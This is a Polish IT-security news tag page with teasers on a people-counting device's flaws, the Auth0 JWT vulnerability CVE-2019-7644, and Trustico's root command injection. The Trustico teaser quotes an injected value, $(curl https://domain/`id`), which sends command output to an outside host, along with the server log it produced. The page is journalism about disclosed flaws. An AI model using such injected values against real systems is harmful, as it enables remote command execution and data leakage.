Tag: fail

Urządzenie do liczenia ludzi w budynkach. Czegoś tak hardkorowego od strony bezpieczeństwa IT (chyba) nie widzieliście…

05 lutego 2021, 10:53 | W biegu | komentarzy 6
Urządzenie do liczenia ludzi w budynkach. Czegoś tak hardkorowego od strony bezpieczeństwa IT (chyba) nie widzieliście…

Producent tego urządzenia (Footfallcam) reklamuje się jako: World’s No.1 People Counting System (…) Best Selling People Counter in 2019 Ale zostawmy marketing na boku i przejdźmy do tego co lubimy najbardziej – tutaj ciekawy wątek (w zasadzie cały artykuł :) w formie powiązanych tweetów: Otóż badacz rozbebeszył urządzenie… ale jeszcze…

Czytaj dalej »

JWT (biblioteka Auth0): nie mogę przyjąć twojego sfałszowanego podpisu. Ale jestem uprzejmy – podam ci ten prawidłowy… Podatność miesiąca.

12 marca 2019, 11:46 | W biegu | komentarze 4

Jeśli ktoś zna tematykę JWT (JSON Web Token), to wie że aby uniemożliwić postronnym osobom modyfikacje zawartości tokena (payload), używany jest podpis. Bez weryfikacji podpisu każdy mógłby wygenerować dowolny token i serwer go zaakceptuje. Czyli np. dostajemy bezproblemowo dostęp do funkcji administracyjnych czy innych ciekawych danych. Zobaczmy więc na podatność CVE-2019-7644:…

Czytaj dalej »

23 000 certyfikatów SSL do wyrzutki. Mieli serwis odpalony na roocie + banalne wstrzyknięcie

04 marca 2018, 17:39 | W biegu | komentarze 2

Chodzi o Trustico, który dostarczał certyfikaty SSL m.in. „pechowemu” Equifax. Jak wyglądał exploit dający roota? Banalnie – w miejscu gdzie sprawdzaliśmy domenę wystarczyło wpisać: $(curl https://domain/`id`) Efekt? Porażający, bo poza wykonaniem kodu, widać że wykonuje się on jako root: 35.190.140.214 - [01/Mar/2018:09:52:14 -0500] "GET /uid=0(root) HTTP/1.1" 404 209 "-" "curl/7.29.0" Nasi czytelnicy raczej się nie nabiorą nigdy na hasło Trustico (i…

Czytaj dalej »